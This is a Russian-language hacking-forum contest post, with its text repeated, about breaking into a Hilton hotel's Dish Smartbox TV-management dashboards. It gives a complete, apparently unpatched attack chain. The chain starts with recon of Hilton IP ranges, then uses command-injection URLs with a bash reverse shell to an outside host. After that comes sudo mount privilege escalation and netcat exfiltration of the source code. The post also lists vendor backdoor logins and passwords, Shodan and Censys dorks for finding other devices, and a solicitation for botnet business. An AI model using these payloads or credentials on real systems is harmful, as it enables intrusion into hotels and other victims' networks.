Неужели первая и единственная статья на конкурсе с раскрытием реального 0 day?
В этом выпуске: находим таргет, составляем fuzz листы, ищем RCE, повышаем привилегии, копаемся в исходниках.
Рекон
Итак, сразу к делу. Захотелось мне потестировать на безопасность отель Hilton, начинаем с рекона, обратимся к API сервиса ipinfo.io, а именно к эндпоинту
RCE №1
Одним из хостов оказался дашборд для Dish Smartbox, железки, отвечающей за управление телевизорами в отеле. Чтоб вы понимали, одна такая коробочка стоит, как крыло от Боинга. Небольшая справка: Dish - огромная американская компания, поставляющая услуги спутникового ТВ.
Чтобы найти новые эндпоинты для развития периметра атаки, воспользуемся gospider, он прокраулит сайт и найдёт в html/js файлах новые диры.
Я сразу обратил внимание на
Максимально хрестоматийный пример из энциклопедии OWASP (example 6). Вспомнилось, что это один из популярных параметров для RCE.
Раскрутить можно софтом, а можно руками. Первый вариант наиболее простой, подойдёт отличная утилита commix, список ее проверок очень большой (можно взглянуть в seclists), имеются темперы для обхода различных фильтров. Есть встроенный функционал для прокидывания реверс шелла и много других удобных плюшек. Из проблем - она не всегда корректно работает с самоподписанными сертификатами, на проверку уходит много времени.
Понимая принцип работы, давайте-ка сами составим фазз-лист. Упор на то чтобы получить от таргета обратно HTTP реквест или DNS резолвинг. Источники вдохновения: 1 и 2.
Результат
Теперь прокидываем ревёрс шелл
Payload:
Круто, у нас в руках шелл, но это только полдела, повышаем привилегии.
Проверка версии ядра (
Проверки прав файлов /etc/passwd, /etc/shadow, процессов, выполняемых с правами root, поиск истории bash, инспекция файлов c SUID и SGID битами, поиск в cron не выявили ничего интересного, но удача улыбнулась на /etc/sudoers
RCE №2
Первая RCE была найдена методом blackbox, мы тыкали вслепую, не зная наверняка, что происходит под капотом, теперь же есть возможность окунуться в исходники. Лежат они в папке
Давайте же выясним, что было источником уязвимости, заглянем в файл
Первая обрабатывает значение переменной file в URL запроса и сохраняет его в переменную $filepath, вторая - берёт $filepath и подставляет в инпут некоего бинаря pdconfig. Получается, для RCE достаточно наш пейлоад обернуть в $(payload). Проверьте, примерно то же самое будет, если вы введёте у себя в терминале
Попытаемся найти похожий функционал в других местах, ключевой паттерн - exec(...)
Payload:
Пороемся в исходниках
Давайте поищем ещё что-нибудь любопытное, например, несколько бэкдорчиков, оставленных производителем. В таблице ниже указаны пары логин:пароль, по которым вы можете зайти в дашборд Dish Smartbox, стреляют они, правда, не в 100% случаев, но всё равно часто. Последняя пара учётных данных даже указана в документации на странице 17.
Дорки в Shodan и Censys
Конечно же, мы хотим поработить весь мир. Фингерпринт нашего подопытного сокрыт в тайтле главной HTML-страницы, по этому критерию будем искать в Shodan и Censys.
Censys:
Shodan:
Вывод:
Мораль сей басни такова - читайте документацию к объекту вашего исследования, вооружайтесь софтом (базовый набор для веба), изучайте сорцы по возможности.
Полезные ссылки:
Ресёрч об RCE в видео энкодерах
Сплойт к нему
P.S.
Если хотите поддержать вне очереди 1GRumTzvQd4z9D37SinCBAhQ75iBbASYJv (BTC)
Коммерческие предложения и рекламу по увеличению, кхм, ботнета присылайте на почту iridiumsatellite@protonmail.com
Задавайте вопросы в топике, постараюсь ответить
Отдельный респект выражаю спонсору и админу за организацию конкурса
В этом выпуске: находим таргет, составляем fuzz листы, ищем RCE, повышаем привилегии, копаемся в исходниках.
Рекон
Итак, сразу к делу. Захотелось мне потестировать на безопасность отель Hilton, начинаем с рекона, обратимся к API сервиса ipinfo.io, а именно к эндпоинту
ipinfo.io/ranges/hilton.com?token=api_token, полученные диапазоны IP сохраняем в файл CIDR.txt в таком формате:скармливаем это добро масскану, чтобы он нашёл открытые порты. Немножечко обмазываемся регулярками.1.2.3.4/5
6.7.8.9/10
11.12.13.14/15
Затем нужно узнать, на каких IP не только открыт порт, но и имеется HTML-контент, нам спешит на помощь httpx. И регулярки-грепалки, куда ж без них.cidr=$(tr '\n' ' ' < CIDR.txt); ./masscan --rate=10000 -p80,443 ${cidr::-1} -oG - | grep "Host"|awk '{print $4}' > masscan_output.txt;
./httpx -ports 80,443 -no-color -o IPs.txt -l masscan_output.txt -threads 200; cat IPs.txt | grep -o -P '(?<=https://|http://).*(?=: )' | awk '!seen[$0]++' > IPs_u.txt; mv IPs_u.txt IPs.txt;
RCE №1
Одним из хостов оказался дашборд для Dish Smartbox, железки, отвечающей за управление телевизорами в отеле. Чтоб вы понимали, одна такая коробочка стоит, как крыло от Боинга. Небольшая справка: Dish - огромная американская компания, поставляющая услуги спутникового ТВ.
Чтобы найти новые эндпоинты для развития периметра атаки, воспользуемся gospider, он прокраулит сайт и найдёт в html/js файлах новые диры.
gospider -s https://0.0.0.0
Я сразу обратил внимание на
configuploadhandler.php?file=, извлечённый из /public/js/main.jsМаксимально хрестоматийный пример из энциклопедии OWASP (example 6). Вспомнилось, что это один из популярных параметров для RCE.
Раскрутить можно софтом, а можно руками. Первый вариант наиболее простой, подойдёт отличная утилита commix, список ее проверок очень большой (можно взглянуть в seclists), имеются темперы для обхода различных фильтров. Есть встроенный функционал для прокидывания реверс шелла и много других удобных плюшек. Из проблем - она не всегда корректно работает с самоподписанными сертификатами, на проверку уходит много времени.
Понимая принцип работы, давайте-ка сами составим фазз-лист. Упор на то чтобы получить от таргета обратно HTTP реквест или DNS резолвинг. Источники вдохновения: 1 и 2.
Результат
Теперь прокидываем ревёрс шелл
Payload:
не забудьте поменятьconfiguploadhandler.php?file=$( /bin/bash -i >& /dev/tcp/8.8.8.8/9999 0>&1)
8.8.8.8 на ваш IP, а 9999 - на ваш порт, который вы будете слушать неткатомGET запрос с учётом URL-encoding выглядит следующим образомnc -lp 9999
Круто, у нас в руках шелл, но это только полдела, повышаем привилегии.
Проверка версии ядра (
uname -a) вызвала восторг (3.0.35), и сразу навело мысли про отгремевшую уязвимость DirtyCOW, а наличие двух ядер (cat /proc/cpuinfo) явно намекало на эксплуатируемость. Но отсутствие компилятора на борту и архитектура ARMv71 вместе со сборкой Linux специально под данную железку заставило задуматься о более простых путях.Проверки прав файлов /etc/passwd, /etc/shadow, процессов, выполняемых с правами root, поиск истории bash, инспекция файлов c SUID и SGID битами, поиск в cron не выявили ничего интересного, но удача улыбнулась на /etc/sudoers
Для дальнейшего удобства пользования терминалом настроим PATH0) sudo -l # видим, что у нашего юзера есть рутовые права на утилиту /bin/mount
1) sudo /bin/mount -o bind /bin/sh /bin/mount # ребиндим шелл на маунт
2) sudo /bin/mount # вызывая маунт, на самом деле запускаем шелл
3) whoami # проверяем, мы рут
К сожалению, даже с рутом права на запись есть только в папку /tmp, несколько вечеров я пытался понять, как обойти ограничение. Ведь если есть функционал обновления прошивки, то должна быть реализована перезапись, но, увы, я так и не выяснил, как это сделать.export PATH=$PATH:/usr/lib/lightdm/lightdm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
RCE №2
Первая RCE была найдена методом blackbox, мы тыкали вслепую, не зная наверняка, что происходит под капотом, теперь же есть возможность окунуться в исходники. Лежат они в папке
/var/www/hiawatha. Для удобства анализа сохраним в архив и отправим на свою рабочую машину. В разных версиях прошивки есть несущественные отличия в именах и незначительные изменения кода.1) tar -czvf /tmp/source_code.tar.gz /var/www/hiawatha # архивирование
2) nc -lp 5555 -q 1 > source_code.tar.gz # запуск netcat на принимающей машине
3) cat /tmp/source_code.tar.gz | nc 8.8.8.8 5555 # передача архива по netcat с уязвимого хоста
Давайте же выясним, что было источником уязвимости, заглянем в файл
configuploadhandler.php. Обратите внимание на строки 12 и 16.
Первая обрабатывает значение переменной file в URL запроса и сохраняет его в переменную $filepath, вторая - берёт $filepath и подставляет в инпут некоего бинаря pdconfig. Получается, для RCE достаточно наш пейлоад обернуть в $(payload). Проверьте, примерно то же самое будет, если вы введёте у себя в терминале
curl https://$(whoami).com, $(whoami) будет проинтерпретирован в root (или имя вашего юзера), и выполнится curl http://root.com Попытаемся найти похожий функционал в других местах, ключевой паттерн - exec(...)
Ииии барабанная дробь… в файлеgrep -r "exec" *
astbuploadhandler.php аналогичная схема работы.
Payload:
astbuploadhandler.php?replace_file=1%3B%20nc%8.8.8.8%209999%3B1
Пороемся в исходниках
Давайте поищем ещё что-нибудь любопытное, например, несколько бэкдорчиков, оставленных производителем. В таблице ниже указаны пары логин:пароль, по которым вы можете зайти в дашборд Dish Smartbox, стреляют они, правда, не в 100% случаев, но всё равно часто. Последняя пара учётных данных даже указана в документации на странице 17.
Username | Password | Файл | Строки файла |
dishops | 6hickory28 | /application/models/System.php | 183, 273 |
| dishops | 63freedom9 | /application/models/System.php | 183, 295 |
| MDU | password | /application/utilities.php | 211, 212 |
| admin | p1C0@dm1N | /application/utilities.php | 216, 217 |
| installer | sky1 | /application/utilities.php | 221, 222 |
| username | password | /application/controllers/Controller.php | 54 |
Дорки в Shodan и Censys
Конечно же, мы хотим поработить весь мир. Фингерпринт нашего подопытного сокрыт в тайтле главной HTML-страницы, по этому критерию будем искать в Shodan и Censys.
<title>DISH - smartbox</title>
Censys:
80.http.get.title: DISH - smartbox
443.http.get.title: DISH - smartbox
Shodan:
http.title:"DISH - smartbox"
Вывод:
Мораль сей басни такова - читайте документацию к объекту вашего исследования, вооружайтесь софтом (базовый набор для веба), изучайте сорцы по возможности.
Полезные ссылки:
Ресёрч об RCE в видео энкодерах
Сплойт к нему
P.S.
Если хотите поддержать вне очереди 1GRumTzvQd4z9D37SinCBAhQ75iBbASYJv (BTC)
Коммерческие предложения и рекламу по увеличению, кхм, ботнета присылайте на почту iridiumsatellite@protonmail.com
Задавайте вопросы в топике, постараюсь ответить
Отдельный респект выражаю спонсору и админу за организацию конкурса
Последнее редактирование модератором: